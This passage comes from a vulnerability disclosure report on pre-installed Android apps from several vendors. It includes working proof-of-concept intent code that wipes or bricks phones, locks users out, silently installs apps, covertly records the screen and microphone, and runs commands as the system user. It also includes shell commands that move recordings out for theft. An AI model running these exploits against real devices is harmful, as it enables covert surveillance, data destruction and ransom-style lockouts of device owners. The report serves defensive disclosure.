00 7a 01 7a 01 c1 12 17 27 37 f5 c9 6a e0 00 |..z.z....'7..j..| 03d3edb0 03 00 00 00 00 11 00 00 00 07 00 00 00 01 00 00 |................| 03d3edc0 00 00 00 00 00 37 30 33 34 32 32 37 36 31 33 66 |.....7034227613f| 03d3edd0 50 11 00 00 f0 af 68 00 90 98 00 00 80 48 69 00 |P.....h......Hi.| 03d3ede0 d0 b6 e5 ff 00 00 00 00 40 86 02 00 10 f9 ff ff |........@.......| Placed call to the United Airlines reservation number of 18008648331 03334a20 80 a0 70 c5 c9 6a e0 00 03 38 00 00 00 11 00 00 |..p..j...8......| 03334a30 00 06 00 00 00 01 00 00 00 00 00 00 00 31 38 30 |.............180| 03334a40 30 38 36 34 38 33 33 31 00 00 54 0e 60 34 c6 1b |08648331..T.`4..| 03334a50 00 00 03 00 50 89 00 80 00 00 00 00 00 00 00 00 |....P...........| 03334a60 d0 06 7f 02 00 00 00 00 00 00 00 00 30 0d 28 0a |............0.(.| 10.2 ZTE – Obtaining the Logcat Log Vulnerability Details The logcat logs consist of four different log buffers: system, main, radio, and events. The logcat log is a shared resource where any process on the device can write a message to the log. The logcat log is generally for debugging purposes. An app can read only from the logcat logs that the app itself has written unless it has requested and been granted the READ_LOGS permission by the Android OS. The Android OS and apps can write sensitive data to the logs, so the capability to read from the system-wide logcat log was taken away from third-party apps in Android 4.1. The logcat logs tend to contain email addresses, telephone numbers, GPS coordinates, unique device identifiers, and arbitrary messages written by any process on the device. A non-exhaustive list of concrete logcat log messages is provided in Appendix B. Using this vulnerability, a third-party app can leverage another app to write the system-wide logcat logs to the SD card. App developers may write sensitive data to the logcat log while under the impression that their messages will be private and unobtainable. Information disclosure from the logcat log can be damaging depending on the nature of the data written to the log. Appendix B contains a username and password pair being written to the log from a major bank’s Android app. This vulnerability is present in the same app (com.android.modem.service) that allows the modem log to be written to the SD card. A third-party app can use the ModemService to activate the logcat logs being written to the SD card. As mentioned previously, the ModemService provides access to five different services through interfaces to these services. The com.android.modem.service.IAssistantService service interface allows any app on the device to programmatically enable the writing of the logcat logs to the SD card. The writing of the logcat logs are inactive by default, although simply enabling their logging to the SD card can be performed by an app with zero permissions. As mentioned with the modem logs, an app that wants to read from the log files on the SD card, will need to request the READ_EXTERNAL_STORAGE permission. The IAssistantService service interface is obtained by calling the getAssistantInterface() method on the IModemService interface. Method calls to the IAssistantService service interface will be delivered to the com.android.modem.service.AssistantService class. The methods exported by the IAssistantService service interface mostly cover logging functions. To enable the logcat logs being written to the SD card, the following two methods need to be called on the IAssistantService service interface: enableDeamonProcess(boolean) and enableAdbLog(Boolean), where both Boolean values as parameters to the methods have a value of true. Proof of Concept code is provided in Appendix I. 10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected] Once the logcat logs have been activated, they will get written, by default, to the /sdcard/sd_logs/AdbLog/logcat directory. Within this directory, there are four files matching the names of the different log buffers: logcat_events.txt, logcat_main.txt, logcat_radio.txt, and logcat_system.txt. These log files are in plaintext and can be parsed for known-formats of log messages that contain sensitive data. Since these logs are written by default to a directory within the /sdcard/sd_logs directory. The same method as previously, leveraging the deleteAllLog() method from the ISdlogService method, provides a way of deleting the log files periodically 11. Making Devices Inoperable We found two interesting cases where the sending of a single intent message can render an Android device inoperable in the general case. The two devices are the MXQ Android 4.4.2 TV Box and the ZTE Zmax Champ sold by Total Wireless. 11.1 MXQ TV Box – Making Devices Inoperable The MXQ TV Box has added in a broadcast receiver application component in the core Android package (i.e., android). This is part of the Android framework that runs in the system_server process. The MXQ TV Box device has a build finger print of MBX/m201_N/m201_N:4.4.2/KOT49H/20160106:user/test- keys. Any app on the device can send an intent to an exported broadcast receiver application component that will make the device inoperable. After the device wouldn’t boot properly, we performed a factory reset of the device in recovery mode, and the device would still not boot properly. This leads us to believe that the system partition was modified as a result of the actions taken by the broadcast receiver that received an intent. Specifically, the package name of the app is android (versionCode=19, versionName=4.4.2- 20170213), and it contains an exported broadcast receiver named com.android.server.SystemRestoreReceiver. Below is the declaration of the SystemRestoreReceiver app component in the app’s AndroidManifest.xml file. <receiver android:name="com.android.server.SystemRestoreReceiver" android:priority="100"> <intent-filter> <action android:name="android.intent.action.SYSTEM_RESTORE"/> </intent-filter> </receiver> Internally, the SystemRestoreReceiver app component, after receiving a broadcast intent addressed to it, calls the androidos.RecoverySystem.rebootRestoreSystem(android.content.Context) method. This is a custom method that was added into the android.os.RecoverySystem AOSP class. This custom method writes a value of --restore_system\n--locale=<locale> to the /cache/recovery/command file and boots into recovery mode. It appears that when booting into recovery mode, possibly the system partition gets formatted or modified, which would explain the device not booting. We did not examine the recovery partition to examine what actually occurs, but we did verify that the device is not functional after the SystemRestoreReceiver component executes. Below is the source code to send the broadcast intent that will make the device not boot properly. We believe that the user can recover the device by flashing clean firmware images to the SD card and flashing them in recovery mode. We have not tried this method, 10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected] but generally Android TV boxes allow the owner of the device to flash firmware images that are present on the SD card. Intent intent = new Intent(); intent.setClassName("android", "com.android.server.SystemRestoreReceiver"); sendBroadcast(intent); 11.2 ZTE Zmax Champ – Making Devices Inoperable We purchased a Total Wireless ZTE Zmax Champ device from Best Buy. This device contains an pre- installed app with a package name of com.android.zte.hiddenmenu. This ZTE device has a build fingerprint of ZTE/Z917VL/fortune:6.0.1/MMB29M/20170327.120922:user/release-keys. Any app co-located on the ZTE ZMAX Champ device can make the device generally unusable by sending a single broadcast intent with a specific action string. Once this is received, the phone will continually enter recovery mode and crash in a cycle. We are not exactly sure why this occurs, but we have destroyed two phones using it. The phone will boot into recovery mode, try to perform a factory reset, fail, reboot, and then continually repeat all of the previous steps in a never-ending cycle. The device comes with a pre-installed app with a package name of com.android.zte.hiddenmenu (versionCode=23, versionName=6.0.1). This app executes as the system user and is privileged platform app. In the app’s AndroidManifest.xml file, a broadcast receiver named com.android.zte.hiddenmenu.CommandReceiver is declared that statically registers to receive broadcast intents with an action of android.intent.action.FD_RESET. Sending a broadcast intent with this action will cause the device to enter recovery mode and crash. The code to send the broadcast intent is provided below. sendBroadcast(new Intent("android.intent.action.FD_RESET")); The CommandReceiver broadcast receiver component is exported and accessible to any app co-located on the device. Once the component receives a broadcast intent with an action of android.intent.action.FD_RESET, the component internally sends a broadcast intent with an action of android.intent.action.MASTER_CLEAR_DATA_CARRIER. The com.android.server.MasterClearReceiver class (running in the system_server process) dynamically registers a broadcast receiver to receive broadcast intents with an action of android.intent.action.MASTER_CLEAR_DATA_CARRIER. Once this action string is received by the broadcast receiver it will call the android.os.RecoverySystem.rebootWipeUserDataAndCarrier(android.content.Context, boolean, java.lang.String) method. This method will write a string value of the contents, shown below, to a file with a file path of /cache/recovery/command and then boot into recovery mode. --shutdown_after --wipe_carrier --reason=<reason> --locale=<locale> The phone boots into recovery mode and then starts to perform a factory reset and quickly fails and repeats the process. We are unable to tell exactly why the fault is occurring since we do not have access to the recovery logs. It could be that the command written to the /cache/recovery/command file is malformed and causes a crash when in recovery mode and the command in the file keeps being read in and processed, 10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected] causing another fault, where this cycle continues forever. When the device is continually crashing, we were unable to boot into an alternate mode (e.g., system or bootloader). The --wipe_carrier command is not in AOSP code, so this command would have to be handled in recovery mode. The standard commands that are accepted in the /cache/recovery/command file are provided here in Google’s AOSP source code35. Our hypothesis is that --wipe_carrier command or a different command causes the fault in recovery mode and this process repeats and always hits the same fault. 12. Taking Screenshots using system_server Certain Android devices will take a screenshot write it to the SD card when a broadcast intent with a specific action string is sent. On the vulnerable devices, the system_server process dynamically registers a broadcast receiver with this specific action string (the specific action string depends on the device, as it is not constant across devices). The contents of the screen buffer are regarded as sensitive. All of the devices we examined that allow a third-party app to indirectly take a screenshot perform some animation when a screenshot is taken, so it is not transparent to the user. Table 7 provides the devices that we found that allow any app co-located on the device to utilize an open interface in the system_server process to take a screenshot and write it to external storage. Furthermore, a notification is created indicating that a screenshot was taken. If all caution is thrown to the wind, a malicious app may open interesting apps, take screenshots, and exfiltrate them. Although the screenshot capability cannot be disabled due to it residing in the system_server process, this approach is aggressive. A more guileful approach is to take screenshots while the user has been inactive for a period of time. This can be accomplished by running a service in the background and dynamically registering for the SCREEN_ON and SCREEN_OFF broadcast intents. The attacking app can create an activity that will come to the foreground and turn on the screen even when a screen lock is present. This can be accomplished by setting the WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON and WindowManager.LayoutParams.FLAG_ALLOW_LOCK_WHILE_SCREEN_ON flags on the current window in the activity when it is started. If the app requests the EXPAND_STATUS_BAR permission, the app can expand the status bar to show the current notifications and take a screenshot. The attacking app can then use a generic approach to cause a system crash to remove the notification that a picture was taken. All Android devices that run Android 5.0 to Android 6.0.1 have a vulnerable component where a single intent message can cause a system crash due to inadequate exception handling in the system_server process. We developed a generic method to cause a system crash on all Android API levels by causing the system_server process to exhaust all of its heap memory. An open-source PoC app we developed is available here36. Table 7. Android Devices that Allow Any App to Take a Screenshot. Device Broadcast Action Build Fingerprint Asus ZenFone 3 Max ACTION_APP_TAKE_SCREENSHOT asus/US_Phone/ASUS_X008_1:7.0/NRD 90M/US_Phone-14.14.1711.92- 20171208:user/release-keys Asus ZenFone V Live ACTION_APP_TAKE_SCREENSHOT asus/VZW_ASUS_A009/ASUS_A009:7.1. 1/NMF26F/14.0610.1802.78- 20180313:user/release-keys Alcatel A30 android.intent.action.THREE_POINT ER_SCREENSHOT TCL/5046G/MICKEY6US:7.0/NRD90M/J6 3:user/release-keys 35 https://android.googlesource.com/platform/bootable/recovery/+/master/recovery.cpp 36 https://github.com/Kryptowire/daze 10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected] Nokia 6 TA- 1025 com.fih.screen_shot Nokia/TA- 1025_00WW/PLE:7.1.1/NMF26F/00WW_3 _32F:user/release-keys Sony Xperia L1 com.sonymobile.intent.action.SCRE EN_CAPTURE Sony/G3313/G3313:7.0/43.0.A.6.49/ 2867558199:user/release-keys Leagoo P1 com.android.screen.shot LEAGOO/t592_otd_p1/t592_otd_p1:7. 0/NRD90M/1508151212:user/release- keys 13. LG Android Devices – Lock the User out of Their Device We found a rather unique and interesting attack present on certain LG devices that allows a zero-permission app to lock the user out of their device by applying a screen lock that is completely unresponsive to the user except for making emergency phone calls. We verified that the devices show below are vulnerable. LG G6 - lge/lucye_nao_us_nr/lucye:7.0/NRD90U/17355125006e7:user/release-keys LG Q6 - lge/mhn_lao_com_nr/mhn:7.1.1/NMF26X/173421645aa48:user/release-keys LG X Power - lge/k6p_usc_us/k6p:6.0.1/MXB48T/171491459f52c:user/release-keys LG Phoenix 2 - lge/m1v_att_us/m1v:6.0/MRA58K/1627312504f12:user/release-keys An exposed dynamically-registered broadcast receiver within the com.android.systemui app (versionCode=600170209, versionName=6.00.170209) allows any app on the device to essentially lock the user out of their phone in most cases. This technique could be used to create a crypto-less ransomware to force the user to pay to unlock their device. Below are the SHA-256 hashes for the com.lge.gnsslogcat app’s APK file and ODEX file from the LG G6 device. 97e5e02340417c997476861c0c4d316d0ced24dd6906f9aa2afd9f3ad15ccc0f LGSystemUI.apk 9dfc1b1e4591f0dc739dd583c14f8a6251626eaae302430da0e032e61772edbf LGSystemUI.odex When the dynamically-registered broadcast receiver with the com.android.systemui app receives an intent with an action string of com.lge.CMCC_DM_PARTIALLY_LOCK, the app will write two values to the system table in system settings and lock the screen. The screen lock put in place by the com.android.systemui app that receives the broadcast intent will not be responsive to touches except for the emergency call button. This lock screen will persist across system reboots and even appear in safe mode. We were unable to find a way to remove this lock screen except when ADB was enabled prior to a third- party app co-located on the device forcing the lock screen to lock. If ADB was not enabled on the device prior to the screen lock, then the user will likely have to boot into recovery mode by pressing a specific key combination at boot time and perform a factory reset, which will remove the screen lock but also wipe all the user’s data and app. If ADB was enabled prior to the appearance of this special screen lock, then the user could hook their device up to a computer that had already been approved provided it’s RSA key fingerprint to the LG device. At this point, the user can enter the following command via ADB. adb shell am broadcast -a com.lge.CMCC_DM_PARTIALLY_LOCK Or the following set of commands can undo the changes manually in the system table. adb shell settings put system com.lge.CMCC_DM_LOCK 0 adb shell settings put system UnlockCallerNum 0 10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected] A large majority of Android users would not have ADB enabled, as this functionality is for developers and Android enthusiasts. In addition, they would need to find out the command to unlock it, which would likely be difficult for the average user to discover on their own. The com.android.systemui.keyguard.KeyguardViewMediator class dynamically registers a broadcast receiver with an action of com.lge.CMCC_DM_PARTIALLY_LOCK, as well as for other actions. When a broadcast intent is sent by any app on the device, it will be received by an anonymous class within the KeyguardViewMediator class. This will in turn call the KeyguardViewMediator.doKeyguardUnlockDisabled(Boolean, java.lang.String) method. This method will set both the com.lge.CMCC_DM_LOCK and UnlockCallerNum keys in the system table to a value of 1 and then call the KeyguardViewMediator.doKeyguardTimeout(android.os.Bundle) method to lock the screen. At this point, the screen will be locked and cannot be unlocked through traditional methods. If ADB is not enabled on the device, the user will be forced to boot into recovery mode and perform a factory reset to recover the device. If ADB has already been enabled, they can use the unlock method described above. 14. Asus ZenFone 3 Max – Arbitrary App Installation The arbitrary app installation vulnerability was discovered in an Asus ZenFone 3 Max device with a build fingerprint of asus/US_Phone/ASUS_X008_1:7.0/NRD90M/US_Phone-14.14.1711.92- 20171208:user/release-keys. This device contains a pre-installed app with a package name of com.asus.dm (versionCode=1510500200, versionName=1.5.0.40_171122) has an exposed interface that allows any app co-located on the device to use its capabilities to download an arbitrary app over the internet and install it. Furthermore, any app that was programmatically installed using this method can also be programmatically uninstalled using the com.asus.dm app. The com.asus.dm app has an exported service named com.asus.dm.installer.DMInstallerService. Any app on the device can send an intent with specific embedded data that will cause the com.asus.dm app to programmatically download and install the app. For the app to be downloaded and installed, certain data needs to be provided in the intent: download URL, package name, version name from the app’s AndroidManifest.xml file, and the MD5 hash of the app. Below is an example source code to download and install the Xposed Installer APK file. Intent i4 = new Intent(); i4.setAction("com.asus.dm.installer.download_app"); i4.setClassName("com.asus.dm", "com.asus.dm.installer.DMInstallerService"); i4.putExtra("EXTRA_DL_URL", "https://dl- xda.xposed.info/modules/de.robv.android.xposed.installer_v33_36570c.apk"); i4.putExtra("EXTRA_INSTALL_PACKAGE", "de.robv.android.xposed.installer"); i4.putExtra("EXTRA_DL_CHECKSUM", "36570c6fac687ffe08107e6a72bd3da7"); i4.putExtra("EXTRA_INSTALL_VERSION", "2.7"); startService(i4); At this point, the Xposed Installer app can be started by the app that initiated its installation. If the app that initiated the installation of the Xposed Installer app decides that it should be uninstalled, it can use the source code below to uninstall it. That this method only works for apps that were installed using the approach above and not for apps that were installed via other methods such as the user installing an app via the app distribution channel of Google Play. 10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected] Intent i7 = new Intent(); i7.setAction("com.asus.dm.installer.removeService"); i7.setClassName("com.asus.dm", "com.asus.dm.installer.DMInstallerService"); i7.putExtra("EXTRA_APP_NAME", "de.robv.android.xposed.installer"); startService(i7); 15. Video Recording the User’s Screen Sometimes pre-installed apps can expose the capability to record the user’s screen through a privileged pre-installed app. We provide two instances of screen recording: Vivo V7 and Doogee X5. 15.1 Vivo V7 – Video Recording the User’s Screen The Vivo V7 device we examined had a build fingerprint of vivo/1718/1718:7.1.2/N2G47H/compil04201658:user/release-keys. The device contains a pre- installed app with a package name of com.vivo.smartshot (versionCode=1, versionName=3.0.0). This app will record the screen for 60 minutes and write an mp4 file to a location of the attacking app’s choosing. Normally, a recording notification will be visible to the user, but we will detail an approach to make it mostly transparent to the user. The com.vivo.smartshot app has an exported service named com.vivo.smartshot.ui.service.ScreenRecordService. The approach is to start the ScreenRecordService which will start a separate binary named /system/bin/smartshot that does the recording of the screen. Once the ScreenRecordService is started, it will create a sticky notification saying “Recording screen” and create a stop button on the side of the screen. These can be removed by then stopping the ScreenRecordService shortly after starting it. After the ScreenRecordService is stopped, the /system/bin/smartshot binary continues recording. The recording will continue for 60 minutes and there is the possibility that the com.vivo.smartshot app will be killed if there is memory pressure as it does not have any active app components. To provide an active component, the attacking app will then start the ScreenRecordService with some values embedded in the intent that will not start a new recording or interfere with the active recording. If the recording is stopped early, the file may be corrupted, so the entire 60 minutes should be observed and then the mp4 file will be able to be played without any modification. Moreover, the attacking app can have the /system/bin/smartshot binary write the mp4 file to it’s private directory, so the attacking app does not need the READ_EXTERNAL_STORAGE permission to read from external storage. This is achieved by first changing the file permissions to the attacking app’s private directory, so it can be accessed by the /system/bin/smartshot binary, as SELinux does not block it on the device. Once the file permissions are changed to be world-executable on the app’s directory, it will then create an empty file using a specific file name that will later be passed to the ScreenRecordService as a file name for the mp4 file. Then the newly created file (e.g., screen.mp4) in the attacking app’s private directory is made world-writable. Then the attacking app executes the code below as was explained above. Intent i = new Intent(); i.setAction("vivo.action.ACTION_START_RECORD_SERVICE"); i.setClassName("com.vivo.smartshot", "com.vivo.smartshot.ui.service.ScreenRecordService"); i.putExtra("vivo.flag.vedio_file_path", "/data/data/com.some.app/screen.mp4"); i.putExtra("show_top_stop_view", false); startService(i); try { Thread.sleep(500); } catch (InterruptedException e) { 10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected] e.printStackTrace(); } i = new Intent(); i.setClassName("com.vivo.smartshot", "com.vivo.smartshot.ui.service.ScreenRecordService"); stopService(i); try { Thread.sleep(500); } catch (InterruptedException e) { e.printStackTrace(); } i = new Intent("vivo.acton.ACTION_CHANGE_TOP_STOP_VIEW"); i.setClassName("com.vivo.smartshot", "com.vivo.smartshot.ui.service.ScreenRecordService"); i.putExtra("show_top_stop_view", false); startService(i); At the end of 60 minutes after executing the code above, the /system/bin/smartshot binary finishes its recording and the attacking app can view the previous 60 minutes of the screen usage and observe the user’s behavior. This may involve the user entering passwords, entering credit card numbers, writing personal messages and emails, etc. This file can be sent to a remote location if the attacking app has the INTERNET permission. 15.2 Doogee X5 – Video Recording the User’s Screen This device allows third party apps to programmatically initiate the recording of the screen by sending an intent to a pre-installed app. The build fingerprint of the Doogee X5 device is DOOGEE/full_hct6580_weg_c_m/hct6580_weg_c_m:6.0/MRA58K/1503503147:user/test-keys. This app has a package name of com.hct.screenrecord (versionCode=1, versionName=1.0). When the screen recording occurs, it is not transparent to the user. A visible effect on the screen is a blinking red circle. There is also a notification indicating that the screen is being recorded, although the notification is does not allow the user to stop the recording if clicked. The screen recording will stop when the screen goes off or when the user clicks the red circle. The mp4 file will be written to external storage to a base path of /sdcard/ScreenRecord. A third-party app can initiate the screen recording with the following source code. Intent i = new Intent(); i.setClassName("com.hct.screenrecord", "com.hct.screenrecord.ScreenRecordService"); startService(i); 16. Oppo F5 – Audio Record the User This vulnerability allows an app co-located on the device to record audio of the user and their surroundings. To exploit this vulnerability, the command execution as the system user (see Section 4.5), must also be used to transfer the file due to its restrictive file permissions. The Oppo F5 device we examined had a build fingerprint of OPPO/CPH1723/CPH1723:7.1.1/N6F26Q/1513597833:user/release-keys. The Oppo F5 Android device comes with com.oppo.engineermode app (versionCode=25, versionName=V1.01) pre- installed. The com.oppo.engineermode.autoaging.MicTest activity application component within the com.oppo.engineermode app will start recording audio and write it to a file in the /data directory when it is started (e.g., /data/2018-05-03_04.42.37.amr). When this activity is started by an external app, the external app can wait 600 milliseconds and then send an intent to return to the home screen. This will start the audio recording and the app will not be visible in the recent apps due to starting the activity with the 10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected] Intent.FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS flag. So the user may see an activity pop up and close quickly, although they will not be able to view the activity from the recent apps and would likely be unaware that the audio recording is occurring. The source code is provided below. Intent i = new Intent("com.oppo.engineermode.autoaging.MicTest"); i.setClassName("com.oppo.engineermode", "com.oppo.engineermode.autoaging.MicTest"); i.setFlags(Intent.FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS); this.startActivity(i); try { Thread.sleep(600); } catch (InterruptedException e) { e.printStackTrace(); } Intent i2 = new Intent("android.intent.action.MAIN"); i2.addCategory(Intent.CATEGORY_HOME); startActivity(i2); The MicTest activity component will keep recording as long as the activity is alive. The user will not be able to view the activity through the recent apps list to close it. While the audio recording is ongoing, there is no indication to the user such as a notification, toast message, etc. As the audio file is recoding, it can be copied to another location, and the copied file will still be playable. The attacking app does not require any permissions to obtain the audio recording file (an amr file), although the app will need the INTERNET permission if the audio file is to be sent to a remote server. Once the attacking app wants the recording file, it needs to determine the file name of the audio file. This can be accomplished by using the com.dropboxchmod app to list the files in the /data directory. Using the approach in Section 4.1.2, the attacking app can transfer one or all amr files to the attacking apps private directory by leveraging the com.dropboxchmod app that allows arbitrary command execution as the system user. SELinux for Android 7.1.1, prevents the com.dropboxchmod app from reading from an third-party app’s private directory, but on the Oppo device, the system user it not prevented it from writing to a third-party app’s private directory. The same behavior is not present on the Asus ZenFone V Live device, although it is present on the Asus ZenFone 3 device. The SELinux rules dictate the capability of a platform app directly writing to a third- party app’ private directory. Prior to making the com.dropboxchmod app write any files to its internal directory, it will need to make its private app directory (e.g., /data/data/some.attacking.app) both writable and executable. Below are the commands the attacking app can have the com.dropboxchmod app to transfer the audio recording file to is private app directory using the approach detailed in Section 4.5. cp /data/2018-05-03_04.42.37.amr /data/data/the.attacking.app chmod 777 /data/data/the.attacking.app/2018-05-03_04.42.37.amr At this point the 2018-05-03_04.42.37.amr file is readable by the attacking app and can be sent to a remote location. 17. Conclusion Pre-installed apps present a potent attack vector due to their access to privileged permissions, potential widespread presence, and the fact that the user may not be able to disable or remove them. Vulnerable pre-installed apps can present a tangible threat to end-users since certain apps will contain exposed interfaces that will leak PII to locations accessible by other apps on the device. Furthermore, certain vulnerabilities facilitate surveillance and can record audio and/or the user’s screen and see all interactions 10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected] that a user has with the device. In addition, a keylogging capability can capture the user’s input. As we have shown in this document, even devices sold by US carriers can contain severe vulnerabilities. We argue that more effort should be invested in scanning for vulnerabilities and threats that are present on a device as soon as the user first removes it from the box and powers it on. Acknowledgements This work was supported by the Department of Homeland Security (DHS) Science and Technology (S&T) via award to the Critical Infrastructure Resilience Institute (CIRI) Center of Excellence (COE) led by the University of Illinois at Urbana-Champaign (UIUC). The views and conclusions contained herein are those of the authors and should not be interpreted as necessarily representing the official policies or endorsements, either expressed or implied, of DHS. We would like to thank Vincent Sritapan from DHS S&T. We would also like to thank Dr. Michael Bailey, Joshua Reynolds, Dr. Joshua Mason, and Deepak Kumar from UIUC for their help in downloading and testing apps and technical discussions. A big thank you to Dr. Mohamed Elsabagh for technical advice. Appendix A. PoC code for Arbitrary Command Execution as the system user on the Verizon Asus ZenFone V Live Device. The Same Code Also Works on the Asus ZenFone 3 Max Device. public void asus_zenfone_V_live_command_execution_as_system_user() { Intent i = new Intent(); i.setClassName("com.asus.splendidcommandagent", "com.asus.splendidcommandagent.SplendidCommandAgentService"); SplendidServiceConnection servConn = new SplendidServiceConnection(); boolean ret = bindService(i, servConn, BIND_AUTO_CREATE); Log.d(TAG, "initService() bound with " + ret); } class SplendidServiceConnection implements ServiceConnection { @Override public void onServiceConnected(ComponentName name, IBinder boundService) { Log.w(TAG, "serviceConnected"); Parcel send = Parcel.obtain(); Parcel reply = Parcel.obtain(); send.writeInterfaceToken("com.asus.splendidcommandagent.ISplendidCommandAgentService"); String command = "am broadcast -a android.intent.action.MASTER_CLEAR"; send.writeString(command); try { boolean success = boundService.transact(1, send, reply, Binder.FLAG_ONEWAY); Log.i(TAG, "binder transaction success=" + success); } catch (RemoteException e) { e.printStackTrace(); } send.recycle(); reply.recycle(); } @Override public void onServiceDisconnected(ComponentName arg0) { 10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected] Log.w(TAG, "onServiceConnected"); } } Appendix B. User and Device Data Appearing the in the Logcat Log. Below are concrete instances of user and device data appearing in the logcat log. This is not an exhaustive listing of items that can appear in the logcat log, but just a sampling. We have modified the values below from their actual values to contrived values to protect our privacy. Device GPS Coordinates 03-15 15:19:25.899 1394 1453 D LocationManagerService: incoming location: Location[gps 39.842631,- 78.310564 acc=52 et=+13m58s695ms alt=130.95172119140625 vel=0.0 {Bundle[{satellites=11}]}] 03-16 15:56:31.805 17382 17382 I GeofencerStateMachine: sendTransitions: location=Location[fused 39.842631,-78.310564 acc=70 et=+1h0m16s339ms alt=157.0609130859375 vel=0.0 {Bundle[mParcelledData.dataSize=528]}] 03-16 15:56:27.785 3036 3555 V GnssLocationProvider: reportLocation lat: 39.842631 long: -78.310564 timestamp: 1521230188000 User’s Gmail Account 03-15 15:12:45.499 1394 1453 E SyncManager: Couldn't find backoff values for [email protected]/com.google.android.keep:u0 03-16 15:15:35.375 16847 16847 I Finsky : g: " [email protected]" 03-16 15:55:42.675 482 659 I S3UtteranceSender: send account: %s, modelType: %d[notmyrealaccount @gmail.com, OK_GOOGLE] Device Phone Number 03-16 15:38:17.225 3587 3587 D VendorGsmCdmaPhone: getLine1Number isimrecord return mdn = 5403334444 03-16 15:38:20.005 3587 3587 D VendorGsmCdmaPhone: getLine1Number impu[1]=sip:[email protected] 03-16 15:38:20.005 3587 3587 D VendorGsmCdmaPhone: getLine1Number impu[2]=tel:+15403334444 Device Serial Number 03-16 17:17:15.315 4171 4171 I zdmc : Hwv: 320983924782 03-16 17:15:42.038 333 333 E wcnss_service: Serial Number is 83924782 ICCID 03-16 17:16:14.715 3605 3605 D SelfactivationUtil: Iccid get ready + iccid = 89148000004026293327 IMSI 03-16 17:17:15.315 4171 4171 I zdmc : IMSI: 311480407548581 JavaScript Debug Messages Showing Websites Visited 03-16 15:58:51.425 677 677 I chromium: [INFO:CONSOLE(320)] "[GPT DEBUG] googletag.display(adoop)", source: http://www.sherdog.com/ (320) 03-16 15:58:45.925 677 677 I chromium: [INFO:CONSOLE(0)] "The SSL certificate used to load resources from https://c.amazon-adsystem.com will be distrusted in M70. Once distrusted, users will be prevented from loading these resources. See https://g.co/chrome/symantecpkicerts for more information.", source: https://www.reddit.com/ (0) 10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected] Destination Number of Sent Text Messages 03-16 16:27:38.935 8713 8906 D SmsManager: sendMultipartTextMessage's ScAddress is7038889999 03-16 16:27:38.935 8713 8906 D SmsManager: sendTextMessage's ScAddress is7038889999 Phone Numbers for Outgoing Calls 03-16 16:28:47.825 9194 9194 D Telecom : UserCallIntentProcessor: ray isOtaspCallFromActivation:false number: 5409759176: UCA.oC@AAA 03-16 16:28:48.085 9194 9194 D Telecom : UserCallIntentProcessor: isInternationalNumber, num:Country Code: 1 National Number: 5409759176: UCA.oC@AAA Phone Numbers for Incoming Calls 03-16 16:39:20.315 3876 3876 V SDM : onCallStateChanged() incomingNumber= +15409759176; callState= 1 HTTPS Querystring 03-16 15:38:35.125 8475 8486 I ZteDownloadManager: DownloadProvider.insert --> original values = allow_roaming=true destination=4 hint=file:///storage/emulated/0/Android/data/com.android.vending/files/1521229115002 otheruid=1000 title=Verizon Messages notificationclass=com.google.android.finsky.download.DownloadBroadcastReceiver is_public_api=true visibility=0 notificationpackage=com.android.vending uri=https://play.googleapis.com/download/by-token/download?token=AOTCm0S_HplSz_C4dcG- d7pY8dxOPdaPFHW4Wh1p_WXkrpu9QLwMhWWcmHcOg00aeyVHK7RxpddJJvhrjFNgo2jy4nx0lZoOCLOHD59w54dVGOETE_re2Lp53ASl3M 6ZXeGZnfn1IpgMlRuYG0wDq70FPeZYCEVp7PeJLqFUr7vF1vlCz_RMR3KpqVxp3aGvcpsNqsLJo_2uBJu1b0bYcRQBQ5Ky2wMlln567OUN 2NNb8NXk1nUOHTV5pMAw5Y7QxOpyNXA1QPd3UW- ohYrbgK9SSUPsbaBNrBKGN8LUjcm_K_HS21rQf33imc1TLlvljCxyFEnW3NxABMu3ezNhDKunLjke_01fMEVnKVA9- Qbpp0w&cpn=kiHfgI33chp7gskT allowed_network_types=2, callingPackage: com.android.vending MAC Address 03-16 16:37:59.385 326 326 D QCNEA : p2p_device_address=b2:c1:9e:8f:f5:ce Apps Installed 03-16 16:43:55.025 8798 8798 D Launcher.Model: onReceive intent=Intent { act=android.intent.action.PACKAGE_ADDED dat=package:jackpal.androidterm flg=0x4000010 (has extras) } Apps Started From the Launcher 03-16 17:07:59.835 3036 14466 I ActivityManager: START u0 {act=android.intent.action.MAIN cat=[android.intent.category.LAUNCHER] flg=0x10200000 cmp=air.com.bitrhymes.bingo/.AppEntry (has extras)} from uid 10028 on display 0 Downloaded Files 03-16 15:59:53.695 8475 8486 I ZteDownloadManager: DownloadProvider.insert --> original values = allow_roaming=true destination=6 flags=0 allow_write=0 is_visible_in_downloads_ui=true http_header_0=Referer: https://scholar.google.com/ mimetype=application/pdf scanned=0 allow_metered=true description=10.1.1.687.360.pdf title=10.1.1.687.360.pdf _data=/storage/emulated/0/Download/10.1.1.687.360.pdf status=200 total_bytes=311162 is_public_api=true visibility=2 uri=http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.687.360&rep=rep1&type=pdf notificationpackage=null allowed_network_types=-1, callingPackage: com.android.chrome SSID 03-16 17:11:59.255 326 326 D QCNEA : |CORE:CAS| ssid: BQ_net_994 03-16 17:12:07.405 326 326 D QCNEA : ssid= BQ_net_994 Arbitrary Messages from Installed Apps 